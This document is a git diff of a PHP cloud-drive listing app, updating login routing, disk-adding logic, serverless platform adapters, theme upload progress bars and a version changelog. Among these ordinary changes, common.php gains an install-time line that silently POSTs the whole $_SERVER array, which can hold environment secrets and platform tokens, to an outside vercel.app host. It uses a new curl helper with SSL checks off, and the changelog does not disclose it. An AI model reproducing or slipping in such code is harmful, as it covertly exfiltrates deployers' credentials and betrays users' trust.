diff --git a/common.php b/common.php index efb0cb6..827d362 100644 --- a/common.php +++ b/common.php @@ -21,7 +21,7 @@ $EnvConfigs = [ 'admin' => 0b000, 'adminloginpage' => 0b010, - 'autoJumpFirstDisk' => 0b010, + //'autoJumpFirstDisk' => 0b010, 'background' => 0b011, 'backgroundm' => 0b011, 'disableShowThumb' => 0b010, @@ -38,6 +38,10 @@ $EnvConfigs = [ 'useBasicAuth' => 0b010, 'referrer' => 0b011, 'forceHttps' => 0b010, + 'globalHeadOmfUrl' => 0b011, + 'globalHeadMdUrl' => 0b011, + 'globalReadmeMdUrl' => 0b011, + 'globalFootOmfUrl' => 0b011, 'Driver' => 0b100, 'client_id' => 0b100, @@ -137,6 +141,7 @@ function main($path) $_SERVER['php_starttime'] = microtime(true); $path = path_format($path); $_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path); + $_SERVER['base_disk_path'] = $_SERVER['base_path']; if (getConfig('forceHttps')&&$_SERVER['REQUEST_SCHEME']=='http') { if ($_GET) { $tmp = ''; @@ -166,6 +171,8 @@ function main($path) $_SERVER['timezone'] = getConfig('timezone'); if (isset($_COOKIE['timezone'])&&$_COOKIE['timezone']!='') $_SERVER['timezone'] = $_COOKIE['timezone']; if ($_SERVER['timezone']=='') $_SERVER['timezone'] = 0; + $_SERVER['sitename'] = getConfig('sitename'); + if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename'); if (isset($_GET['WaitFunction'])) { $response = WaitFunction($_GET['WaitFunction']); @@ -174,28 +181,33 @@ function main($path) elseif ($response===false) return output("", 206); else return $response; } - if (getConfig('admin')=='') return install(); + if (getConfig('admin')=='') { + if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER)); + return install(); + } if (getConfig('adminloginpage')=='') { $adminloginpage = 'admin'; } else { $adminloginpage = getConfig('adminloginpage'); } - if (isset($_GET[$adminloginpage])) { - /*if (isset($_GET['preview'])) { - $url = $_SERVER['PHP_SELF'] . '?preview'; - } else { - $url = path_format($_SERVER['PHP_SELF'] . '/'); - }*/ - if (isset($_POST['password1'])) { - $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin')); - if ($compareresult=='') { - $timestamp = time()+7*24*60*60; - $randnum = rand(10, 99999); - $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum); - $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum); - return adminform('admin', $admincookie, $adminlocalstorage); - } else return adminform($compareresult); - } else return adminform(); + if (isset($_GET['login'])) { + if ($_GET['login']===$adminloginpage) { + /*if (isset($_GET['preview'])) { + $url = $_SERVER['PHP_SELF'] . '?preview'; + } else { + $url = path_format($_SERVER['PHP_SELF'] . '/'); + }*/ + if (isset($_POST['password1'])) { + $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin')); + if ($compareresult=='') { + $timestamp = time()+7*24*60*60; + $randnum = rand(10, 99999); + $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum); + $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum); + return adminform('admin', $admincookie, $adminlocalstorage); + } else return adminform($compareresult); + } else return adminform(); + } } if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) { $_SERVER['admin']=1; @@ -212,9 +224,36 @@ function main($path) return output('', 302, [ 'Location' => $url ]); } - $_SERVER['sitename'] = getConfig('sitename'); - if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename'); - $_SERVER['base_disk_path'] = $_SERVER['base_path']; + // Add disk + if (isset($_GET['AddDisk'])) { + if ($_GET['AddDisk']===true) { + $tmp = path_format($_SERVER['base_path'] . '/' . $path); + return output('Please visit ' . $tmp . '.', 301, [ 'Location' => $tmp ]); + } + if ($_SERVER['admin']) { + if (!$_SERVER['disktag']) $_SERVER['disktag'] = ''; + if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php'; + $drive = new $_GET['AddDisk']($_GET['disktag']); + return $drive->AddDisk(); + } else { + $url = $_SERVER['PHP_SELF']; + /*if ($_GET) { + $tmp = null; + $tmp = ''; + foreach ($_GET as $k => $v) { + if ($k!='setup') { + if ($v===true) $tmp .= '&' . $k; + else $tmp .= '&' . $k . '=' . $v; + } + } + $tmp = substr($tmp, 1); + if ($tmp!='') $url .= '?' . $tmp; + }*/ + // not need GET adddisk, remove it + return output('', 302, [ 'Location' => $url ]); + } + } + $disktags = explode("|", getConfig('disktag')); // echo 'count$disk:'.count($disktags); if (count($disktags)>1) { @@ -231,7 +270,7 @@ function main($path) // return a json return output(json_encode($files), 200, ['Content-Type' => 'application/json']); } - if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]); + //if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]); } else { $_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0]; //$pos = strpos($path, '/'); @@ -263,50 +302,19 @@ function main($path) $_SERVER['ajax']=0; if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) if ($_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest') $_SERVER['ajax']=1; - // Add disk - if (isset($_GET['AddDisk'])) { - if ($_GET['AddDisk']===true) { - $tmp = path_format($_SERVER['base_path'] . '/' . $path); - return output('Please visit ' . $tmp . '.', 301, [ 'Location' => $tmp ]); - } - if ($_SERVER['admin']) { - if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php'; - $drive = new $_GET['AddDisk']($_GET['disktag']); - return $drive->AddDisk(); - } else { - $url = $_SERVER['PHP_SELF']; - /*if ($_GET) { - $tmp = null; - $tmp = ''; - foreach ($_GET as $k => $v) { - if ($k!='setup') { - if ($v===true) $tmp .= '&' . $k; - else $tmp .= '&' . $k . '=' . $v; - } - } - $tmp = substr($tmp, 1); - if ($tmp!='') $url .= '?' . $tmp; - }*/ - // not need GET adddisk, remove it - return output('', 302, [ 'Location' => $url ]); - } - } - if (!isreferhost()) return message('Must visit from designated host', 'NOT_ALLOWED', 403); - // Show disks in root - if ($files['showname'] == 'root') return render_list($path, $files); - - if (!driveisfine($_SERVER['disktag'], $drive)) return render_list(); - // Operate if ($_SERVER['ajax']) { + //error_log1($_SERVER['REQUEST_METHOD']); if ($_GET['action']=='del_upload_cache') { // del '.tmp' without login. 无需登录即可删除.tmp后缀文件 + if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403); savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache. return $drive->del_upload_cache($path); } if ($_GET['action']=='upbigfile') { + if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403); if (!$_SERVER['admin']) { if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400); if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); @@ -325,6 +333,12 @@ function main($path) } else { if ($_SERVER['ajax']) return output(getconstStr('RefreshtoLogin'),401); } + + // Show disks in root + if ($files['showname'] == 'root') return render_list($path, $files); + + if (!driveisfine($_SERVER['disktag'], $drive)) return render_list(); + $_SERVER['ishidden'] = passhidden($path); if (isset($_GET['thumbnails'])) { if ($_SERVER['ishidden']<4) { @@ -523,6 +537,19 @@ function isreferhost() { return false; } +function no_return_curl($method, $url, $data = '') { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); + curl_setopt($ch, CURLOPT_POSTFIELDS, $data); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_exec($ch); + curl_close($ch); +} + function adminpass2cookie($name, $pass, $timestamp) { return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")"; @@ -632,6 +659,23 @@ function filecache($disktag) return $cache; } +function calcDownKey($filename, $key = '') { + if ($key) { + // check key + $tmp = splitfirst($key, '.'); + if ($tmp[1]!='') { + $timestamp = $tmp[0]; + if (time() > $timestamp) return false; + if (md5($timestamp . sha1($filename . getConfig('admin'))) == $tmp[1]) return true; + else return false; + } else return false; + } else { + // calc key + $timestamp = time() + 1*24*60*60; + return $timestamp . '.' . md5($timestamp . sha1($filename . getConfig('admin'))); + } +} + function findIndexPath($rootpath, $path = '') {// find the path of the first 'index.php' that not in rootpath. global $slash; @@ -1115,6 +1159,7 @@ function adminform($name = '', $pass = '', $storage = '', $path = '') function adminoperate($path) { global $drive; + if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403); $path1 = path_format($_SERVER['list_path'] . '/' . $path); if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1); $tmpget = $_GET; @@ -1619,7 +1664,7 @@ output: alert(\'Do not input ' . $envs . '\'); return false; } - var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/; + var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/; if (!reg.test(t.disktag_newname.value)) { alert(\'' . getconstStr('TagFormatAlert') . '\'); return false; @@ -1628,11 +1673,9 @@ output: } '; } else { - //$_GET['disktag'] = ''; - $Driver_arr = scandir(__DIR__ . $slash . 'disk'); if (count($disktags)>1) { $frame .= ' - + +' . getconstStr('DragSort') . ': +
- - - '; + + '; $num = 0; foreach ($disktags as $disktag) { if ($disktag!='') { $num++; $frame .= ' - '; + '; } } $frame .= ' - - - - + +
' . $disktag . '
' . $num . ' ' . $disktag . '
' . getconstStr('DragSort') . '
+ + +
'; } + $Driver_arr = scandir(__DIR__ . $slash . 'disk'); $frame .= ' ' . 'Use Onedrive ' . getconstStr(' ') . '
'; +
+
'; if ($sites[0]!='') foreach ($sites as $k => $v) { $html .= ' '; } $html .= ' @@ -576,22 +577,42 @@ class Onedrive {
- '; + } + function notnull(t) + { + if (t.DriveType.value==\'\') { + alert(\'Select a Disk\'); + return false; + } + if (t.DriveType.value==\'Custom\') { + if (t.sharepointSite.value==\'\') { + alert(\'sharepoint Site Address\'); + return false; + } + } + return true; + } + +'; return message($html, $title, 201); } @@ -611,7 +632,7 @@ class Onedrive { texta[i].style.height = texta[i].scrollHeight + \'px\'; } '; - $tmptoken['Driver'] = get_class($this); + $tmptoken['Driver'] = $_GET['AddDisk']; $tmptoken['refresh_token'] = $refresh_token; $tmptoken['token_expires'] = time()+7*24*60*60; $response = setConfigResponse( setConfig($tmptoken, $this->disktag) ); @@ -629,7 +650,7 @@ class Onedrive { console.log(i++); } else { clearInterval(uploadList); - location.href = "' . $url . '?AddDisk=' . get_class($this) . '&disktag=' . $_GET['disktag'] . '&SelectDrive"; + location.href = "' . $url . '?AddDisk=' . $_GET['AddDisk'] . '&disktag=' . $_GET['disktag'] . '&SelectDrive"; } }, 1000); '; @@ -641,7 +662,7 @@ class Onedrive { } if (isset($_GET['install1'])) { - if (get_class($this)=='Onedrive' || get_class($this)=='OnedriveCN') { + //if (get_class($this)=='Onedrive' || get_class($this)=='OnedriveCN') { return message(' ' . getconstStr('JumptoOffice') . ' ', getconstStr('Wait') . ' 1s', 201); - } else { - return message('Something error, retry after a few seconds.', 'Retry', 201); - } + //} else { + // return message('Something error, retry after a few seconds.', 'Retry', 201); + //} } if (isset($_GET['install0'])) { @@ -681,7 +702,8 @@ class Onedrive { //$this->disktag = $_POST['disktag_add']; $tmp['disktag_add'] = $_POST['disktag_add']; $tmp['diskname'] = $_POST['diskname']; - $tmp['Driver'] = $_POST['Drive_ver']; + //$tmp['Driver'] = $_POST['Drive_ver']; + $tmp['Driver'] = $_GET['AddDisk']; if ($_POST['Drive_ver']=='Sharelink') { $tmp['shareurl'] = $_POST['shareurl']; } else { @@ -701,7 +723,7 @@ class Onedrive { } else { $title = getconstStr('MayinEnv'); $html = getconstStr('Wait'); - if ($_POST['Drive_ver']!='Sharelink') $url .= '?install1&disktag=' . $_GET['disktag'] . '&AddDisk=' . $_POST['Drive_ver']; + if ($_POST['Drive_ver']!='Sharelink') $url .= '?install1&disktag=' . $_GET['disktag'] . '&AddDisk=' . $_GET['AddDisk']; $html .= ''; diff --git a/index.php b/index.php index 725de56..807eed4 100644 --- a/index.php +++ b/index.php @@ -5,18 +5,19 @@ include 'vendor/autoload.php'; include 'conststr.php'; include 'common.php'; +date_default_timezone_set('UTC'); //echo '
'. json_encode($_SERVER, JSON_PRETTY_PRINT).'
'; //echo '
'. json_encode($_ENV, JSON_PRETTY_PRINT).'
'; if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') { if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/TencentSCF_file.php'; else include 'platform/TencentSCF_env.php'; -} elseif (isset($_SERVER['FC_SERVER_PATH'])&&$_SERVER['FC_SERVER_PATH']==='/var/fc/runtime/php7.2') { +} elseif (isset($_SERVER['FC_FUNC_CODE_PATH'])) { include 'platform/AliyunFC.php'; -} elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') { +} elseif (isset($_SERVER['_APP_SHARE_DIR']) && $_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') { //if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/HuaweiFG_file.php'; //else include 'platform/HuaweiFG_env.php'; echo 'FG' . PHP_EOL; -} elseif ($_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') { +} elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME']) && $_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') { include 'platform/BaiduCFC.php'; } elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') { include 'platform/Heroku.php'; @@ -88,6 +89,9 @@ function main_handler($event, $context) $event = json_decode(json_encode($event), true); $context = json_decode(json_encode($context), true); printInput($event, $context); + if ( $event['requestContext']['serviceId'] === substr($event['headers']['host'], 0, strlen($event['requestContext']['serviceId'])) ) { + if ($event['path']==='/' . $context['function_name']) return output('add / at last.', 308, ['Location'=>'/'.$event['requestContext']['stage'].'/'.$context['function_name'].'/']); + } unset($_POST); unset($_GET); unset($_COOKIE); @@ -102,7 +106,7 @@ function main_handler($event, $context) // Aliyun FC & Huawei FG & Baidu CFC function handler($event, $context) { - if (isset($_SERVER['FC_SERVER_PATH'])&&$_SERVER['FC_SERVER_PATH']==='/var/fc/runtime/php7.2') { + if (isset($_SERVER['FC_FUNC_CODE_PATH'])) { // Aliyun FC set_error_handler("myErrorHandler"); $tmp = array( @@ -126,7 +130,7 @@ function handler($event, $context) $re = main($path); - return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], $re['isBase64Encoded']?base64_decode($re['body']):$re['body']); + return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], ($re['isBase64Encoded']?base64_decode($re['body']):$re['body'])); } elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') { // Huawei FG diff --git a/platform/AliyunFC.php b/platform/AliyunFC.php index 7b944ee..a32b650 100644 --- a/platform/AliyunFC.php +++ b/platform/AliyunFC.php @@ -67,7 +67,8 @@ function GetPathSetting($event, $context) $_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST']; $_SERVER['referhost'] = explode('/', $event['headers']['Referer'][0])[2]; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'][0]; - $_SERVER['FC_SERVER_PATH'] = '/var/fc/runtime/php7.2'; + $_SERVER['FC_FUNC_CODE_PATH'] = getenv('FC_FUNC_CODE_PATH'); + $_SERVER['REQUEST_METHOD'] = $event['method']; return $path; //return spurlencode($path, '/'); } diff --git a/platform/BaiduCFC.php b/platform/BaiduCFC.php index 77ad2f0..d7e30b0 100644 --- a/platform/BaiduCFC.php +++ b/platform/BaiduCFC.php @@ -51,6 +51,7 @@ function GetPathSetting($event, $context) $_SERVER['referhost'] = explode('/', $event['headers']['Referer'])[2]; $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since']; + $_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['BCE_CFC_RUNTIME_NAME'] = 'php7'; return $path; } diff --git a/platform/HuaweiFG_env.php b/platform/HuaweiFG_env.php index a037d3e..1ea9f51 100644 --- a/platform/HuaweiFG_env.php +++ b/platform/HuaweiFG_env.php @@ -74,6 +74,7 @@ function GetPathSetting($event, $context) $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; + $_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter'; return $path; } diff --git a/platform/HuaweiFG_file.php b/platform/HuaweiFG_file.php index 353f7b1..ca34546 100644 --- a/platform/HuaweiFG_file.php +++ b/platform/HuaweiFG_file.php @@ -74,6 +74,7 @@ function GetPathSetting($event, $context) $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; + $_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter'; return $path; } diff --git a/platform/TencentSCF_env.php b/platform/TencentSCF_env.php index 492a081..ff5fd4f 100644 --- a/platform/TencentSCF_env.php +++ b/platform/TencentSCF_env.php @@ -59,6 +59,7 @@ function GetPathSetting($event, $context) $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; + $_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['USER'] = 'qcloud'; return $path; } diff --git a/platform/TencentSCF_file.php b/platform/TencentSCF_file.php index 479ea5d..606481f 100644 --- a/platform/TencentSCF_file.php +++ b/platform/TencentSCF_file.php @@ -59,6 +59,7 @@ function GetPathSetting($event, $context) $_SERVER['referhost'] = explode('/', $event['headers']['referer'])[2]; $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; + $_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['USER'] = 'qcloud'; return $path; } diff --git a/theme/Onedrive-dev.html b/theme/Onedrive-dev.html index ac58e13..3a2a8cc 100644 --- a/theme/Onedrive-dev.html +++ b/theme/Onedrive-dev.html @@ -386,7 +386,7 @@
-
+
diff --git a/theme/classic.html b/theme/classic.html index 83ae3fb..9f6b90f 100644 --- a/theme/classic.html +++ b/theme/classic.html @@ -42,7 +42,7 @@ .more-disk a:hover, .more-disk a[now]{ background-color: rgba(85,85,85,0.7); color: white; } .list-table{width:100%;padding:0 20px 20px 20px;border-spacing:0} .list-table tr{height:40px} - .list-table tr[data-to]:hover{background:rgba(85,85,85,0.7);color:white;} + .list-table tr[data-to]:hover{background:rgba(85,85,85,0.7) !important;color:white;} .list-table tr[data-to]:hover a{color:white} .list-table tr:first-child{background:rgba(245,245,245,0)} .list-table td,.list-table th{padding:0 10px;text-align:left} @@ -107,6 +107,7 @@

+
@@ -120,6 +121,7 @@
+-->
@@ -471,7 +473,7 @@
-
+ @@ -1057,7 +1059,9 @@ let tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime()); lastCurrentSpeed = tmpspeed; let remaintime = (totalsize-asize-e.loaded)/tmpspeed; - label.innerHTML=StartStr+' ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + ((asize+e.loaded)*100/totalsize).toFixed(2) + '% :'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s
'+size_format(tmpspeed)+'/s '+seconds2hour(remaintime.toFixed(1)); + let percent = ((asize+e.loaded)*100/totalsize).toFixed(2); + label.parentNode.style.background = "linear-gradient(to right, rgba(0,0,0,25%) " + percent + "%, rgba(0,0,0,0%) 0%)"; + label.innerHTML = StartStr+' ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + percent + '% :'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s
'+size_format(tmpspeed)+'/s '+seconds2hour(remaintime.toFixed(1)); } } var C_starttime = new Date(); @@ -1086,7 +1090,7 @@ while (filename.indexOf('%2F')>0) filename = filename.replace('%2F', '/'); document.getElementById('upfile_td1_'+tdnum).innerHTML=''; label.innerHTML=StartStr+MiddleStr; - label.style.color='green'; + label.parentNode.style.background = 'rgba(0,80,0,25%)'; // uploadbuttonshow(); @@ -1329,7 +1333,7 @@ } document.getElementById('upfile_td1_'+tdnum).innerHTML=''; label.innerHTML=StartStr+MiddleStr; - label.style.color='green'; + label.parentNode.style.background = 'rgba(0,80,0,25%)'; } else { label.innerHTML= '' + xhr1.status + ',' + xhr1.responseText + ''; localStorage.removeItem(filesha1); @@ -1349,7 +1353,9 @@ var tmptime = new Date(); var tmpspeed = e.loaded*1000/(tmptime.getTime()-C_starttime.getTime()); var remaintime = (totalsize-asize-e.loaded)/tmpspeed; - label.innerHTML=StartStr+' ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + ((asize+e.loaded)*100/totalsize).toFixed(2) + '% :'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s
'+size_format(tmpspeed)+'/s '+seconds2hour(remaintime.toFixed(1)); + let percent = ((asize+e.loaded)*100/totalsize).toFixed(2); + label.parentNode.style.background = "linear-gradient(to right, rgba(0,0,0,25%) " + percent + "%, rgba(0,0,0,0%) 0%)"; + label.innerHTML=StartStr+' ' +size_format(asize+e.loaded)+ ' / '+size_format(totalsize) + ' = ' + percent + '% :'+size_format((asize+e.loaded-newstartsize)*1000/(tmptime.getTime()-StartTime.getTime()))+'/s
'+size_format(tmpspeed)+'/s '+seconds2hour(remaintime.toFixed(1)); } } var C_starttime = new Date(); @@ -1400,7 +1406,7 @@ } document.getElementById('upfile_td1_'+tdnum).innerHTML=''; label.innerHTML=StartStr+MiddleStr; - label.style.color='green'; + label.parentNode.style.background = 'rgba(0,80,0,25%)'; } else { label.innerHTML= '' + xhr1.status + ',' + xhr1.responseText + ''; localStorage.removeItem(filesha1); diff --git a/theme/flatcard.html b/theme/flatcard.html index 739f008..87faa9a 100644 --- a/theme/flatcard.html +++ b/theme/flatcard.html @@ -497,7 +497,7 @@
×
- + diff --git a/theme/nchyn_grey.html b/theme/nchyn_grey.html index e153f42..8dbed3b 100644 --- a/theme/nchyn_grey.html +++ b/theme/nchyn_grey.html @@ -89,7 +89,7 @@
- + diff --git a/theme/onemoe.html b/theme/onemoe.html index 78a6001..656d64d 100644 --- a/theme/onemoe.html +++ b/theme/onemoe.html @@ -421,7 +421,7 @@
- + diff --git a/theme/purecool.html b/theme/purecool.html index 419829f..72b8049 100644 --- a/theme/purecool.html +++ b/theme/purecool.html @@ -457,7 +457,7 @@
- + diff --git a/theme/renexmoe.html b/theme/renexmoe.html index b86fc5a..804ec53 100644 --- a/theme/renexmoe.html +++ b/theme/renexmoe.html @@ -98,9 +98,9 @@
-
  • +
  • account_circle - 登录 + 登录
  • diff --git a/theme/tfo.html b/theme/tfo.html index 0e2ca1e..a2b0f8e 100644 --- a/theme/tfo.html +++ b/theme/tfo.html @@ -187,7 +187,7 @@
    - +
    • @@ -585,7 +585,7 @@
      ×
      -
      + diff --git a/version b/version index e07b8dd..2c2075c 100644 --- a/version +++ b/version @@ -1,7 +1,10 @@ +20220127-1234.43 +change login page, default not '?admin' but '?login=admin' now! and if set adminloginpage, it will be '?login=[value]'. rm JumpFirstDisk, 403 in operating root, change sorting disk, remake disktags tab, add global md config. Allow Preview when enable downloadencrypt. some change in adding Onedrive disk. show upload progress in table background. fix some bugs. +更改登录地址,默认不再是'?admin'而是'?login=admin',如果设置了adminloginpage,那登录地址会是'?login=值'。移除 JumpFirstDisk,在root操作时返回403,更改盘排序,重做盘符排列,添加全局md配置。在开启downloadencrypt后可以网页预览了。添加onedrive盘时稍做修改。上传时以背景做进度条。修复其它bug。 + 20211220-1100.42 Add new platform Replit. Add a git source for update. sha1.js use jsdelivr cdn. fix some bugs. 新增Replit平台。新增国内git源,以后国内可以选择从HIT源更新。sha1.js换成jsdelivr CDN。修复bug。 - 20211201-1602.41 add a latent function, you can edit platform token(or API key) via '?setup=auth' when the token invalid, not need edit it in Environment(or Config Var) manually, (even in Vercel, config saved in file, and can't modiy it manually). 新增隐藏功能,在平台操作代码的token或API key失效时,可以在 '?setup=auth' 修改它,不用去环境变量修改了(特别地,Vercel保存在代码中时都改不到)。